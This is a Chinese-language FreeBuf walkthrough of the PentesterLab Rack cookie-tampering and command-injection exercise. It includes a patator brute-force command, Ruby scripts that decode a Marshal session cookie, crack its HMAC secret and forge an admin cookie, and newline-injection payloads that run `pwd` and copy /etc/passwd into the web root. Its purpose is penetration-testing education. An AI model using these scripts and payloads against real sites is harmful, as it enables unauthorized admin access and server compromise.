Cookie篡改與命令注入
*本文原創作者:Aohanh,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載
在滲透測試過程中,我們經常會遇到cookie得不到正確的利用,但是在一些框架中(比如PLAY、RACK),我們能利用cookie達到欺騙或篡改的目的,達到跨權登陸,拿取Webshell控制網站許可權的作用。
cookie 篡改 (cookie poisoning) 是一項主要以獲取模擬和隱私權洩密著稱的技術,通過維護客戶(或終端使用者)身份的會話資訊操縱來實現的。通過打造這些 cookie ,攻擊者可以模擬一個有效的客戶,因此獲取詳細資訊並執行代表病毒的行為。這種打造的能力,像會話 cookie (或者更通俗地說,會話標識)源自於這些標識不是以安全的方式產生的事實。
在pentester環境中存在Cookie篡改與命令注入的WEB程式,我們下載下來搭建,下載地址:
ofollow,noindex" target="_blank">https://pentesterlab.com/exercises/rack_cookies_and_commands_injection
一個普通的登入介面,可以將攻擊分為四個部分:
1.指紋識別:收集有關Web應用程式和正在使用的技術的資訊。
2.暴力強制驗證頁面。
3.篡改機架cookie以獲得管理員許可權。
4.從管理頁面,通過注入獲取命令,以執行底層作業系統上的任何命令。
一、指紋識別
抓個包burpsuit,檢視資訊,我們可以看到應用程式使用Apache 2.2.16和Phusion Passenger 3.0.12在Debian伺服器上執行。Phusion可能是託管基於Ruby / Rack的應用程式的最常用方法。我們還可以看到應用程式將我們重定向到具有HTTP 302和Location標頭。
掃掃埠:netcat telnet等等。
二、暴力破解
該題為一正常滲透題,登陸介面考慮SQL%E6%B3%A8%E5%85%A5/">SQL注入和爆破等,sql注入萬能密碼等報錯沒法實現,採用爆破。爆破方法:1、burpsuit 2、patator暴力破解,這裡採用patator暴力破解,(Patator( http://code.google.com/p/patator/ )是一個多協議暴力破解工具,它可用於查詢Web應用程式和許多其他服務的預設憑據)。
掃描語句:patator http_fuzz url=http://目的地址/login method=POST body=’login=FILE0&password=FILE0′ 0=~/123.txt accept_cookie=1 follow=1 -x ignore:fgrep=’DNS Manager Login’ -l /tmp/patator
http_fuzz用於告訴Patator使用該模組http_fuzz;
url= 用於設定URL;
ethod=POST 告訴Patator使用HTTP POST;
body 是基於我們之前收集的資訊的請求的主體。
我們還希望使用accept_cookie=1和follow=1接受應用程式發回的cookie並遵循重定向,因為應用程式在嘗試失敗後重定向我們,它可能會成功嘗試。
-x ignore:fgrep=’DNS Manager Login’ 用於告訴Patator忽略包含“DNS Manager Login”的響應,一旦我們登入,很可能我們不會在網站的經過身份驗證的部分看到這一點。
找到爆破出的賬號密碼,登陸成功!
三、篡改cookie提權
登入並檢查HTTP流量時,您可以看到伺服器發回一個名為的cookie rack.session。我們將看到如何解碼和修改此cookie以提升我們的許可權。預設的Cookie有兩種形式。
1.字串:Set-Cookie:rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiJFNWE4OWJhZmNhNDc2MGY1MTA0MTJm%0AZTM0MDJlZjE3MzAxN2ZjMzBjYWRmMWNiYTgwNGYxNzE3NTI1NTgxNjZmYw%3D%3D%0A; path=/; HttpOnly
2.字串和簽名分隔符號–:Set-Cookie: rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiJFYmJiMTRiODI3YjdlODg2OWMwNWY3%0ANjdmMGNlZjg2YjVkN2VjMDQxN2ZlYTU0YWM3ZTI5OTUwNTY3MjgzMWI3Yg%3D%3D%0A–61215fa13942903faa4652f73e613aa0ced6db2d; path=/; HttpOnly
rack.session是Ruby裡面的中介軟體實現的一個方法,可以訪問應用程式的原始碼,則可以通過搜尋“使用Rack :: Session :: Cookie”快速檢查用於簽署cookie的值。如果使用簽名的cookie,該行應該看起來像`使用Rack::Session::Cookie, :secret => “s3cr3t”。看到可以訪問應用程式通過一系列操作過後的原始碼,那麼我們可以對獲取到的 cookie進行解碼。Cookie編碼分為三個部分:
1.使用ruby函式Marshal.dump序列化該物件;
2.結果使用base64編碼;
3.然後對結果進行URL編碼以防止HTTP出現任何問題。
為了解碼cookie,我們需要反轉這三個操作:
1.提取cookie值:刪除cookie的名稱和選項以及簽名;
2.使用URL編碼和base64解碼此值;
3.使用ruby函式Marshal.load載入物件。
通過觀察rack.session的形式判斷為字串和簽名分隔符號–,所以再將cookie解碼後還需要將之後的簽名重新匹配。我們首先獲取解碼過後的cookie值,寫一個Ruby指令碼:
99.rb
#encoding: utf-8 require "net/http" require "uri" require 'pp' require 'base64' require 'data_mapper' class User end # Remote host DataMapper.setup(:default,'sqlite3::memory') URL = "http://地址/login" # Create URL object url = URI.parse(URL) creds = "test" # Authentication resp = Net::HTTP.start(url.host, url.port) do |http| http.post(url.request_uri, "login=#{creds}&password=#{creds}") end # puts get the cookie c = resp.header['Set-Cookie'].split("=")[1].split("; ")[0] cookie, signature = c.split("--") decoded = Base64.decode64(URI.decode(cookie)) begin # load the object object = Marshal.load(decoded) pp object rescue ArgumentError => e puts "ERROR: "+e.to_s End
返回結果:
通過執行這些操作,我們現在可以訪問伺服器提供的資訊。訪問資訊是好的,特別是如果開發人員在cookie中儲存敏感資訊,但是這裡的目標是操縱cookie以進一步嘗試修改我們剛解碼的值以更改屬性admin。
1.要篡改未簽名的cookie,我們需要解碼cookie,篡改它然後重新編碼。我們剛剛看到了如何解碼cookie,現在我們只需要修改屬性並重新編碼。首先,我們需要在User類中新增一行才能訪問該admin屬性:類裡面新增attt_accessor :admin。
之後再將Cookie編碼:
object = Marshal.load(decoded)
pp object
object["user"].admin = true
nc = Base64.encode64(Marshal.dump(object))
pp nc
2.篡改簽名的cookie,要篡改簽名的cookie,需要找到用於簽署cookie的祕密,
使用以前的指令碼來篡改和重新簽名被篡改的cookie。在檔案lib/rack/session/cookie.rb中有如何對簽名進行匹配的方法:
def generate_hmac(data, secret)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
end
寫一個Ruby指令碼匹配密碼字典,獲得生成該簽名的金鑰:
456789.rb
require 'openssl' require 'uri' require 'pp' COOKIES= "BAh7B0kiD3Nlc3Npb25faWQGOgZFRiJFNjYzYjQ1YTQxZDk1ZGZiMTBiZTA1%0AMjNmMjA2ZGNjOWZiMGUxZDU0MGM1NWQwYzI1MDA5M2FlNzc4YjNiYzYwNEki%0ACXVzZXIGOwBGbzoJVXNlcgs6GEBfcGVyc2lzdGVuY2Vfc3RhdGVvOjJEYXRh%0ATWFwcGVyOjpSZXNvdXJjZTo6UGVyc2lzdGVuY2VTdGF0ZTo6Q2xlYW4HOg5A%0AcmVzb3VyY2VACToLQG1vZGVsYwlVc2VyOgtAbG9naW5JIgl0ZXN0BjsAVDoL%0AQGFkbWluRjoOQHBhc3N3b3JkSSIlMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgz%0AMjYyN2I0ZjYGOwBUOghAaWRpBzoRQF9yZXBvc2l0b3J5bzobRGF0YU1hcHBl%0Acjo6UmVwb3NpdG9yeQg6CkBuYW1lOgxkZWZhdWx0OhNAaWRlbnRpdHlfbWFw%0Ac3sGQAtDOhxEYXRhTWFwcGVyOjpJZGVudGl0eU1hcHsGWwZpB0AJOg1AYWRh%0AcHRlcm86KERhdGFNYXBwZXI6OkFkYXB0ZXJzOjpTcWxpdGVBZGFwdGVyDTsR%0AOxI6DUBvcHRpb25zQzoVRGF0YU1hcHBlcjo6TWFzaHsOSSILc2NoZW1lBjsA%0ARkkiC3NxbGl0ZQY7AEZJIgl1c2VyBjsARjBJIg1wYXNzd29yZAY7AEYwSSIJ%0AaG9zdAY7AEZJIgAGOwBGSSIJcG9ydAY7AEYwSSIKcXVlcnkGOwBGMEkiDWZy%0AYWdtZW50BjsARjBJIgxhZGFwdGVyBjsARkkiDHNxbGl0ZTMGOwBGSSIJcGF0%0AaAY7AEZJIhAvdG1wL2Rucy5kYgY7AEY6IEByZXNvdXJjZV9uYW1pbmdfY29u%0AdmVudGlvbm1GRGF0YU1hcHBlcjo6TmFtaW5nQ29udmVudGlvbnM6OlJlc291%0AcmNlOjpVbmRlcnNjb3JlZEFuZFBsdXJhbGl6ZWQ6HUBmaWVsZF9uYW1pbmdf%0AY29udmVudGlvbm02RGF0YU1hcHBlcjo6TmFtaW5nQ29udmVudGlvbnM6OkZp%0AZWxkOjpVbmRlcnNjb3JlZDoUQG5vcm1hbGl6ZWRfdXJpbzoVRGF0YU9iamVj%0AdHM6OlVSSQ86DEBzY2hlbWVAHjoPQHN1YnNjaGVtZTA6CkB1c2VyMDsNMDoK%0AQGhvc3RAGToKQHBvcnQwOgpAcGF0aEAgOgtAcXVlcnlDOxh7DkAUQBVAFjBA%0AFzBAGEAZQBowQBswQBwwQB1AHkAfQCA6DkBmcmFnbWVudDA6DkByZWxhdGl2%0AZTA6FEBzcWxpdGVfdmVyc2lvbkkiCjMuNy4zBjsAVDojQHN1cHBvcnRzX2Ry%0Ab3BfdGFibGVfaWZfZXhpc3RzVDoVQHN1cHBvcnRzX3NlcmlhbFQ%3D%0A--61b269ef4410ef84c529196aa4ebbb85193441d8" def sign(data, secret) OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data) end value, signed = COOKIES.split("--",2) value = URI.decode(value) File.readlines(ARGV[0]).each do |c| c.chomp! if sign(value, c) == signed puts "Secret found: "+c exit end end
此處的cookie為破解登陸test過後獲取的cookie。
結果:

此處我們獲取了該cookie的簽名金鑰,說明我們可以重新簽名我們需要提交的Cookie。
新增以下指令碼程式碼:
# before
pp object
object["user"].admin = true
# after
pp object
# new cookie:
nc =Base64.encode64(Marshal.dump(object))
ns = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, "secret", nc)
newcookie = URI.encode(nc).gsub("=","%3D")+"--"+ns
#pp object
resp = Net::HTTP.start(url.host, url.port) do |http|
http.get("/", {"Cookie" => "rack.session="+newcookie })
puts resp.body
pp newcookie
pp resp
pp resp.body
#pp resp.body
end
如果一切正確完成,您應該得到HTTP / 200響應。但是很多瀏覽器會重新編碼某些字元,如果你重定向到登入頁面。就會返回302。我們可以採用burpsuit重新提交cookie。
頁面重新載入,返回為管理員介面,提權成功。
四、 命令注入
當開發人員無法確保使用者傳送的引數被正確編碼時,頁面易受命令注入攻擊。
有很多方法可以獲取命令注入:
1.用“來獲取我們想要先執行的命令;
2.使用|,&或;在第一個之後插入另一個命令。
與任何Web漏洞一樣,測試和查詢命令執行是基於大量的嘗試來嘗試理解程式碼可能對您提供的資料執行的操作。
您需要在應用程式中找到命令中使用引數的位置。然後,您可以嘗試操縱此引數以觸發錯誤或奇怪的行為。
如果您沒有看到任何更改,您還可以嘗試使用伺服器回答的時間。例如,您可以使用以下命令在伺服器響應中建立延遲:
ping -c 4 127.0.0.1 · sleep 5
如果您看到時間延遲,則可能會在遠端伺服器上注入命令並執行任意命令。
首先我們嘗試直接在修改或者新建資料的視窗進行命令注入。
頁面返回錯誤:
然而,基於Ruby的應用程式的一個非常普遍的問題是對正則表示式如何工作的誤解:在Ruby中,正則表示式預設是多行的。
例如,以下正則表示式/^\d+$/將驗證:
“123”,與任何其他語言一樣;
“123 \ n arbitrary data”;
“ arbitrary data\ n123 \ n arbitrary data”。
我們現在可以通過抓包並%0a在請求中注入新行(編碼為)和任意命令來測試此值:
id=1&name=webmail&ip=127.0.0.1%0a`pwd`&ttl=600
頁面返回資訊:
正如我們所看到的,伺服器不會發回命令注入的完整輸出。我們需要找到一種通過其他方式獲取此資訊的方法。
第一種方法是,如果命令每行只返回一個單詞,則過濾第一個單詞。例如,您可以執行ls,它將Gemfile作為第一個結果返回。然後你可以執行ls | grep -v Gemfile,然後返回config.ru。您可以繼續操作直到獲得所有結果,但是您可能會達到引數的大小限制並返回到預設錯誤訊息。
使用第一個命令,我們看到(通過執行pwd)應用程式位於/var/www。由於應用程式是基於Rack的應用程式,因此很可能存在公共儲存庫(據我所知,這是強制性的)。我們可以使用此資訊來執行命令並將結果放入檔案中,/var/www/public或者只將檔案複製到此儲存庫。
例如,我們可以執行:
id=1&name=webmail&ip=127.0.0.1%0a`cp /etc/passwd /var/www/public/`&ttl=600
然後,我們可以直接訪問http://目的地址/passwd。
總結:當網站採用ruby-PLAY框架時,我們能將cookie篡改達到提權登陸的目的,使用irb將cookie解碼,用admin管理員使用者登陸成功,上傳webshell,從而威脅網站許可權。
此文部分內容轉載於: https://www.pentesterlab.com/exercises/rack_cookies_and_commands_injection/course ,謝謝瀏覽。
*本文原創作者:Aohanh,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載